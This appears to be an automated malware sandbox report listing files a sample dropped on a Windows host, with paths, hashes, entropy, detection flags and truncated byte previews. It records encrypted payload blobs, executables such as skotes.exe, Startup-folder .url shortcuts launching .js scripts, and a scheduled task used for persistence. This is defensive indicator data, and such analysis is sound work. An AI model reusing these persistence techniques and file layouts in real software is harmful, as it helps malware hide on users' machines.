C:\Users\user\AppData\Local\Temp\Thursday

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997816385809173
Encrypted:	true
SSDEEP:	1536:T4E0XEcEyoPP7h+PFDiTAXxgiQBK3nmxc6qOjYSA8kcj++eZCR0V0IY1hOZ:AEryY6FDDaBK3nYzqOcSVC+GFV0F1hc
MD5:	2D5EBA178BBF491C2EA9BC2EA6C15143
SHA1:	51AABA4AC1EBB6B1D3C9CB35385D75DF25915BF4
SHA-256:	18C5BF2EB3B2AE2F2E03B208E02E329BEC5A85E0895DDE0ED9C80DA4F0FF48A0
SHA-512:	C567B971325939A8F0D94699E9E7755363356940C68BEC07191FD690776E1F008D49399841DDBCB3E976095A61C5B3D00DB38D779CB2DFB87EFC50E34B40450C
Malicious:	true
Reputation:	unknown
Preview:	B..{..c..j.v.Nv..c"..z.3.o.!.N./i.ij.2.t.p.n..VmF..N..2&u.9.........\|.P.....<....&.............a..;-.h=.4Y.Z=.....n..o.z.......A..........j.A....5I<x..2..;'nu.h.........zFd.J...c:..D"....#.. ......#z..."..Zz..l..f4.'...o.o)......,...%........./O..<.iH..C,.'.........y...#..x.....).K2.<../...f.....\k..K.-..)#...........$..v...k..2.E..v.F.=\........`..& ..r.,q..V.B..M]...i..-....p.."..-...%..4r.d..z..ogf.k......D.....L{....t.t..kM.$...J......=..y[.:....rD.....~.....3]E.Z&..:h...E..J..\|}..)...Cw...^A...@.<......h....j...Y......=[D..BT...0..;E.xw.L..........A{...&...r..Y.j.W...L5_..P....-y.\.....p...............oB.F.c&....7T.../..8../..l:..F8d.ph.\......q..^-.\|.6.n.B..;..o.......K..O.V.6=R..~..C.h.."V.I.HWQ..=...u;.9...8G[p.d......@P...G.u..~..i.W./1.W.t.L..=.3l....^z.....Io..s.-..r.....9.......T[.s.$.w.5...^...M...0......7..f}...>.....W..,.m....w...>mo..<j/>...t...X.P...-../!4..#.g@.~.....Z...1f...J...U..'n......w..P.<f.....`......;$...<.6..L

C:\Users\user\AppData\Local\Temp\Tourist

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.998056432179438
Encrypted:	true
SSDEEP:	1536:Xg9kVk8OAF59gsvWCYLZonTRzi7EYXAU5kePe1jWBtQJnXuwzpLU4WdeipXqL9IE:Xnvd59gsv7EZwTdsJZPe1qsFuwm4Wde9
MD5:	C470400F799BC05C7F38396A95FFB427
SHA1:	ABFAA063BCE5A49457DF45E6F06D2B4E01817653
SHA-256:	002747ADCFDA27E037D2B2C2A6F77E7A8D290219E3DB6A9AA07ED230EE4371CA
SHA-512:	52C2722F2779373023FF6CF0A50BA1D7B3D335C06B6E3D031F45130BE5706F094FE559EC7D4E70F97672D4905F94142F5B7E43A7348CF052CAA62D99DB99B2DB
Malicious:	true
Reputation:	unknown
Preview:	~.J~.W.fN/.)t....GD.`..Y..]:..3.../P......O..[...{.&fZ....[...Z.F..S..<1O[...8...W.[.K..x.T.BB1.F...9H..5.B...d.2..)."y..U.Mi."...7..s...0(.M._..@[...P\-...h.L..O....g".U..x..E.i..'..\|x.....@.=....._QC..I....A.......y....qZK.i.....u~.&.}..-.....a.\|..EM5Fm.....n3.Nyzb..-.....B....7..DN...2.e9.k.........Vz...?n..TU..e'.4P.a.....C..I.9....:<S..:................6n..+.g...5#...NVEP.5....U..LFK...aL.~.j9..q...._.Te.(1.0........f....a.w.....X.....E.,.n.b.G.W..4..\o.r6....}..Z.s.>..qGjS..a.3.Uy7Nz3.#..,..g.7.....F.P.Ps........o...J.. y.Z./.J..6{...r.s.q-.T.]k...Q..!%HN..+XM..u"..3.=i..]l.a/+i..............0.}..mg....Mwd..@D.d....m)....z.\G..).b.r.4..f}".L.........J.U..G..D...lN1.@.m9,....L.....D.b.y..+....B......i..quY....{....F.3Y.\|......u..... .l..... `...U......h.vP...'\@Rs...........TGL.W..I!.j\|........D..\k.....=.......<0.Z.X.....E.G...1.x..EN..1h.og.g.+.c3."....3.Yj...... f....z_.p../..^d........H.\|....C..AA5..`q.[..Y...N...QH..!m.4Q

C:\Users\user\AppData\Local\Temp\Transsexual

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	7.996440902712661
Encrypted:	true
SSDEEP:	768:ZA5tEZnBv8lMPIvNnib3TRIpdkIWn1g2ar7MN9DhgCuU/o7xmhPbmgTSL1r7IMnj:ZAcBBkMglnK9XaUN96mhPhwCHi
MD5:	D775D31DAED1290ED5B69546F65FF6A3
SHA1:	4A8797D465BB0A5AA9B7320B8A3AE04374D3DE8D
SHA-256:	7E8EF5504AD12406251F2DD8285F8B66266930714183D2C0D07F92FFDAB22B52
SHA-512:	09570BC218F843DB6BD790EF0C7579122E615AFFDE76426A339FB814ED928F7D37C9DA141049A684807FF1FAAED7977AFEC437590946F13E953FA326C34A457E
Malicious:	true
Reputation:	unknown
Preview:	..=.v...}..G....,br.D.....sX.....lH..~8...A..1!..v.z...J,c...0.lDm.....{.....YA)....^...p.4.m.xE4j....H..Be....e....]3.e)......gzW..@A..l......%h..Y.s.ph.M.....Uk..)T..l...w.".e....O.C.m..?....b...C Oku@....}. .C...n...k..3N.dN}V$#...f$9.......L;.........e..-.#.'...K.Z[.d.@..MZ#...F.h.......-P......(-..+...;...qCD..e.!..+}.S:......].......b....9....8.P.l.oha.P.4.S4.x.L....d6.>BJ..oE.u..d....Tr.1...v.vF.4...F.)..`....X.n`.....\p.7....s@..~......s.Y...4.X......?.....\|..y...e..I#..\..&....6..#.;.....O3.p....6..V0.\.Y....7.$.0.N{=..VO=<+...6b.,G...'.}...E.&...>L..a...w...hy.>N.h....M5..Y.......~.....@Dr.G..B...&l....,.:.32.~u..,>.i....zO.8u..9..kHP.~s/:>XpFAx.Is.5.zQ."h......Tu~Z.....m..z..v0.&..!...C$.<...'...;.oC.T._.t5G..F.!...{Y.........W.y..iy..z..<..nT.Hf...m..3`..N....&r6q...e.'&.l...W..4:.t!.(-.X..n.j.w....\W=.m{._.....I.....N.l....7.y.S$e...\Lt.b?..z...<c..S.'$l..K.....3.@.e=......(..*.w.p.....\U....P./Hr........X..].."..=%C.Fo.F

C:\Users\user\AppData\Local\Temp\Unit

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vatican

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	71203
Entropy (8bit):	7.997295077101538
Encrypted:	true
SSDEEP:	1536:imGYQCuy5K7S0cDsS7+f/aGbWFff1MulVFqM:TGm15KG5N+YFFMulVFL
MD5:	A6FF954B2B3AB1B7CEB50D8A741634F4
SHA1:	E0187051AECF821376FD0510E5D77F3242BC8262
SHA-256:	92AC594838A86F8C997EB04BA0280CAEC17967B59BF2B0D04B14D28528DDABE3
SHA-512:	4E1C8BB9ED6882CEE55BF550FB447B06D6385FBAA29C0595B0056485D3FA5A61AABDE1A4AEC0C9059657490EBE746E6DF3AFBDA4187A510D043B51C7412957FA
Malicious:	true
Reputation:	unknown
Preview:	.D...9...@....l.......i....\(...P`....Gb..(Q.2.3...b.9.K..#.b.w....1..p.y1S3..+...1....B.V,.Cf.W?.BrI..KN.....Y.+....%6.......W\.k......8!\|...h.cw..l.#.V...s...k..)...+..jI..`_..wK.......,N..o.%.y...M%"....c.M..g....9.SAj)X0.N......\|.^.=.0.{E..#.a........U.A..mg7..c..=..{."..{..@c.`3.'..Q.....e....../ ..n..3.....n..u.0<..3SG....2.. .cjw...X..N"t.=.C...W..j.B5..<.1..se..}m...?.+.....}S.e..}g....+.r...k"..+.'G...T.otkG.....j..X.?.].....>..(.B.2...M.&'R.........>...o.=..=.I/.'....+.....Oa....L.&...:]...)...8K.E[.0...`..C.u.e"...5-.v(2.\|t+p....=./n....#....%..gu.b)^..r..nF.\CFy..76.-m.+D.K...R..?....p>k...0oQ..7.>.M.,4K...A.y..h.#.\|.Y..#..$t..152..`..-C}.......5...??.:.F..vz.U.j...g;s?.Hl.z.Iub2Y./...2.V.I...\..../.r&.;A...&.`gZ.u..-...GCJ.6.co.OsY-.I.....$.....^.#.3.J........wE.Y.:....tP..S...$.[.)+.]A...c..F..F~..5...5r.....u.D;.... .Oy..i..\|..`S..&...S,..G..;......d..B..,n]pi.G...u....g.R3...>z.7.]qA.1.?(.+...(.H..a=V..w."E...nt6\|.l.....

C:\Users\user\AppData\Local\Temp\Vermont

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.9972561119733765
Encrypted:	true
SSDEEP:	1536:MzQ5q/rbdL2APKYtyvbXgIMYQMjImuenvJkLO6DN:0JfP/YzVV9hnvJkLHDN
MD5:	37147518E6EEFEC4502BB35B161D0B3C
SHA1:	A149A777507CAA0BF842248C84C6B13035CFEF05
SHA-256:	9CD4216B30EA98D340AE517BACE407D2AF2D1886BCB003FE58DE7B6717EBBD39
SHA-512:	F67523BBCA1B5110766AF1EE0F624679B8D5FFD6F55F93E765C31814600DF34F47477EE290D11640449AB919201041462A57A69B3047A973B48556D42C23D973
Malicious:	true
Reputation:	unknown
Preview:	.[./....@l..5c..Z..5liQ.k...Ei^:...v....+x.j..j=W[...$.X.......#...q.......d...5W..#.;eC.....s.Kf..e.@..X...D.=./..]....v.x.!G....g.Bpk.....<..TD'.X..+..Y..z......>..lDB...e.$........7....j.v...f.....hc.x..... .R.k...i._D.Vn.-J..5.D.j..D=..3P..<.#.u....+..FY.9..).......y.....=.z.I.........b.-.Z.k.t.w..N.e.i.q.&.+6..g>...?\|.%q.q.....i#.._,.r.._.%.X...l~...%...p...U"..(.....w7^..s....n}....>&K...F.....r....g..M_....f6-(.4.8=..x..wE......[..k..Uu..<..5>$L..H+Y.4.....av!.m.Pl.m.}...w....]........EuU_.,..SA......Gd..@.c.H{..W...R.........=.....45.&_s.3.\|k^..2C.......o....6.3..FJ.k...i..c....%......%...w{....p.............rT..M.#.'.M.R..PB0S..q."..?.d...9.S.DWE.{.`_..8w.:t..._..4N[..+Ib{."..aL..8C.0!v...Y.c.H$.=.....M....3./cA..Y.'..d.\.,...'y..x.A.YR...h}..mB...'.;.I..P.}.Kx2...........k.5....w9..wV..M....l...S..#..O....`d#V.[.~..+<...&N...V..C....H_.....\|.l....q.ba..v..#.Y..L.......o.LGi.M.>'oTm.-.P.;...5..<^.m......6....)..7.v...%;

C:\Users\user\AppData\Local\Temp\Webmaster

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.997882626416904
Encrypted:	true
SSDEEP:	1536:Y2ZpgxHASm7r3tni5XXq0tvSU6Au75JkFaJcZG/swsaZanb6jjvcMcwO:9/gH5m7r3I5XXLtaT5JkJZQLan+jzdc1
MD5:	7C4E1B9C21804F68A5218D080DD90137
SHA1:	8F31FB80A4D5EE2BD25AF274B0AE7D8FDAC9495A
SHA-256:	4613E7E425E584192663AB6B42E3D13A266DFF582AEC313E89F282360C8D16BD
SHA-512:	2A56F7DA4ED2AC0A55F96BB16883ED69290656C0D8A92B8606B659470EA829429D7F27C763DF33946299609507D73BB64B607BA6881C5BBF50EAA92DF64B4F2E
Malicious:	true
Reputation:	unknown
Preview:	...N..9...AX...%A..2..X.z0<.\|...{./....>.....V4q....X^]B...l4..g\|.tt.S8...@.. ..R...\|xG8v>H..^b0.\|.eD..J4.K...f..Te.cm>JHb..e}../..T.L..$...CB..W..8e..4.k....5c..D..}h..a.......ih?.!..%.aI..0hx..~_.....,.F.Z.r.,.p....O9S...@.y.\|..[..>;.['.r.9.e.P..U .I..&V.r..".g........mR..(-+ZI...E..Q.<.2T.Z...m.N..t\|{....7.p..O*...'..W..`. D!...$6...."w~eu.W..G.B.J...R.]...+.-.r+..8(...ufV7KI.....+.O...T3.q.Qs.t..V.[<C..@.6...1./..7...,.d.....o..?.T)......{......(.k...~^gS"....5..,8..KpL.O...Y"...6r.k{.C.k.$.b,.d..'..[..O...<.ep.A{u.=...).K.....lh..A..5T..O. ..2v..G...&..h....07..sU......0..s....N.`7..-dq.>.....{..;^..I.8..v....ei...Z.j...!/G ..op..j"....R..;.A.'.>.btJz.KuZ.QJ.Y......$...3{.1..f.q.x.\#......i..Q#.M.....Z..?O...3./...f..._..L.......1..T...J...=.vy...N....j....1]...F..':.c..`....G.Y........i.?.<..r.N}.......\p...g.GL._.#.....j7...:..E...VZ.<'...L.._..,..)..bz....g.."...N.u.EJ......i..=.....O.:yR.N.r..KW..q.a..9&.u...^.T..@....D..s.

C:\Users\user\AppData\Local\Temp\William

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.998159225277658
Encrypted:	true
SSDEEP:	1536:lwmJz7/oEKwrBpDO0liLG+PIdS9drs0cDwjf1z2LhszKuwK+KAVea39WZPfwsc:+m7QEKOBphIGMVY0cDwjf1z2t0/wK+Ka
MD5:	51FA515294CE70AAF66DFB9CF72DA99B
SHA1:	A59F36CAB1A77A8CF85055E34912A0C4E31FC676
SHA-256:	61FABD4DBF2C25311290139B5C6880E2392600C88DE0CE9E6DFB65A675EE8307
SHA-512:	57FA573E59E68BB145A133F32CF2F50C059169222322B84E845606E62BE553A46B6642BC250D5162F30ED133B5E87DA2E929DCD8C4CDE6A328A6D74F1348AEB3
Malicious:	true
Reputation:	unknown
Preview:	.c.#Df...]..gs7..W.%....m....-V4....>..j.....c..[.H..K...v.J......m...`....z...D6k..1...WQn.......E...R.J....Bt..{_...%....)&..j1.3Vr.%J.Jj....x.z/k.K.F..&...0F..B..7....U.&T....@2..2L......r.m!KY....{...P.4...P....}D.}F.8...Q4..Z!....L..qu-....M.OG..j.V....y..n/.A=.B/._.x@b...h..M...............\|A..q..;....."~.,.g?....V.Z.Y...5.VO... ...'...&m}.v8/.9...8......`N.&^......C0....56.Dd...Y.}k ..yO.%.SL....Q..K....\........>....j.b.C.S&.n.0.LeM....6.@.#.2[.+..hZU.a.._]\|..t....s.].h...k.. .tn..p....-..#A..#.)...9....%[#O....+4N...#V{/.o;0.[...%...s....d.......)"H._y2.bp.._"b9....r1w...;.[B\|4...a.......j.(."..YI.W......[....?7....U].t.5$..kGy....--.@Q.i....P....\.\|..&Q......I.)..jw..x'.......w...3..$f..s..T0....."y.U.d}...........].zvB.....`;...v..bb..;...}y...p.......&N'....M. 2";.-.....{..-....G.......G...6.SX.~.,..QzcE0..F..!W.B.^!.rV.W..<..o......;D....l..Z..I......g..O...d..W...h-...o.....6..(.Q...60>U.l.eMS@m.YA..hK....o.C.....d..

C:\Users\user\AppData\Local\Temp\Wow

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.996978276462089
Encrypted:	true
SSDEEP:	1536:+njJjdpquF7z26QF9aEwJzsLI7mbb2k92aYyKzVr:+dpquF7z25DaTszj2b5r
MD5:	D6FED172C1C692E17B4AADEBE5B29B1E
SHA1:	2DE83F669AA98DFFE581AFF65B677619257422F6
SHA-256:	B3173C9724F5A0E59F7D5D7657951E972C6C415376FE51A0DFEDB300753018C1
SHA-512:	27AACCE7CFB9DA0F82CD9342FD3F9FAAD33F757BD7E49CF7C03D8C0E440D9D106340F6EAEFEFD5FE11333255C062665600F6725508E3236430508B60DDE21030
Malicious:	true
Reputation:	unknown
Preview:	2...f...Q;f6.Y'..'.n.z=}..Nl\".........y.......(......./.E..^..jjh.}."I.7.!...p<&..=C-m!.....o.-._....92g..Q...I.A.>B.........hL..N:gM5y.}....>....lD.C.F.Z1....w"%ru......d I..&.._...Y..k..)..Q..#...K.(...x...>J)...S.\.)....c.3...e[..Z.5...q....A......,....6....iE;y.Lg..in Jn.....Rys.d..b._\|....c...Ms^</..".o.j.n...@E......P..?..KA../C.L7L.).yld.....+,..s.7.M!.....Y.%.H......[.M;.......G.l...f..C.....3..Lo?..[.;....G..{q..2...!......q.t5.g.x.....J7...D.X..t...]......X.t..i..z.EdB.{..wU.....o......5.,.....a... ..J.k..=.q@......ff..9.r.ud.;.3.R._..Vs._.1.s..~...>.[.....=..2UY.Ktv.....`Pi<5a\.....x\|.k..[TW.9 .O.fT.U.......6......c.g.+_.y.F..I......n...sl.A.w>5.Y?......].b.;.n.cR........[\|&...y.u...p...Mp...g..KJ.S...>b...;..Uu=......~.D.q9.\..ceN..P:......B.uc.9.... .....O.u.8.6!...7.a..z.....P.h._.. .W.9....j:..2..]2R.M...jv...K.T.lz..S......i.....}.-..@....wz..&.........l.._.....MD...._F....s.y@...../...*..G.@#.%M.. ].#w.@..%

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873920
Entropy (8bit):	7.9496890155532585
Encrypted:	false
SSDEEP:	24576:vI7HoMRI1uc22gc2oEUZMrlX6qtwLBT25RHbXTLjQ2UoQLYDYnN3ZHu:AkzSpc2hRlXVMeDMvPnN
MD5:	AE5752FEE54CAF5584F6EABA06A5AC69
SHA1:	1666AC18E71EC8B5EA5A0DDD00DDE2DDE9175DF9
SHA-256:	EC603A0936EE9833A10B2D9AD971EEAB730399EA5B713BD6013550057873CBE8
SHA-512:	9F757E8C2E7E00E49A395161938A71BF9308B18B6CC2DEC5613A72648240F84088936CDC64F134013FDB7E4F6EC040EC081AB7B91E66F297688B56ABB399D9BE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@J...........@..........................pJ.....W&....@.................................W...k.......D...................h+J..............................+J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...hukqwfqu......0..\|..................@...duyfafyf.....0J......r..............@....taggant.0...@J.."...v..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.00234057762599113
Encrypted:	false
SSDEEP:	768:lWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilJ7xbAOxuz/kQ:/xBxcEJAfPrYSHcW6/CdBuz7
MD5:	9D00DF14EED4230877C1EF0A679A8E70
SHA1:	F874289FCC1BA995D94FF43D115826B18232FAE1
SHA-256:	05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
SHA-512:	017F4987A0C9BCA49A299C6C3DC940AE3C0C2FD4B7DD78D03C3B65AD0B766231D68DC9F8CDE5A9F20186DDF1B642918361D44473D4B313B2E62D00648AD57D36
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v.<g...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.739934305026947
Encrypted:	false
SSDEEP:
MD5:	68751C2605860F4E8C43958343E50270
SHA1:	CFC9553CB207F82BCA82941E4926305FB7E4154F
SHA-256:	DD77617A245FBA0992ABEEDF3C59E6FFC4D8A0D04349E4A1F54A28757267DB5C
SHA-512:	C41F7E57D21A9DCC6C859561D81345303BAA31F2E721358FC1783A925E7D10CA408B574A0BDB78961EB73FED11D380531A35BAAE4FA3E184512EE6A5D28E7FA8
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.843492758807725
Encrypted:	false
SSDEEP:
MD5:	079C6A3E4801E648CA139C9D00F25DB1
SHA1:	BDF460222FA4D7820AD2E29273A215FEF50DC0DE
SHA-256:	03CB5D0D5D7AB5E38D5FC1169BEFE8A4971CE35FFD2DCC40B90D01C7DCF4DC29
SHA-512:	D30FD4BB81E0A48D9BA7F6B9B310D2A6DB0E736AC34364051BFE6C6A8DEA347BDDCADAF00718D005EBC4312B7E203C832B87B9A66A262E36B24218343BAA6071
Malicious:	true
Reputation:	unknown
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" ..

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.391263215664779
Encrypted:	false
SSDEEP:
MD5:	94266F6E40C1CA3D9E314A679C84BCC4
SHA1:	6EBE4267EE571E60132A383B3C4A4B9F618A8A82
SHA-256:	A4254E1E53827B0D38ACCD004CA349058782DF35069D8CFD8046FAB1E5A0ACB7
SHA-512:	57EFF6966E76CD2EFDAA2A8A560F5FA032A491A64752BA4621852EB82536A41032C49BBBB5D7923D2630F043701D2C73122248D7E078CC9724BFF6F3832FFBE5
Malicious:	false
Reputation:	unknown
Preview:	....1c6....K.....em.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
Reputation:	unknown
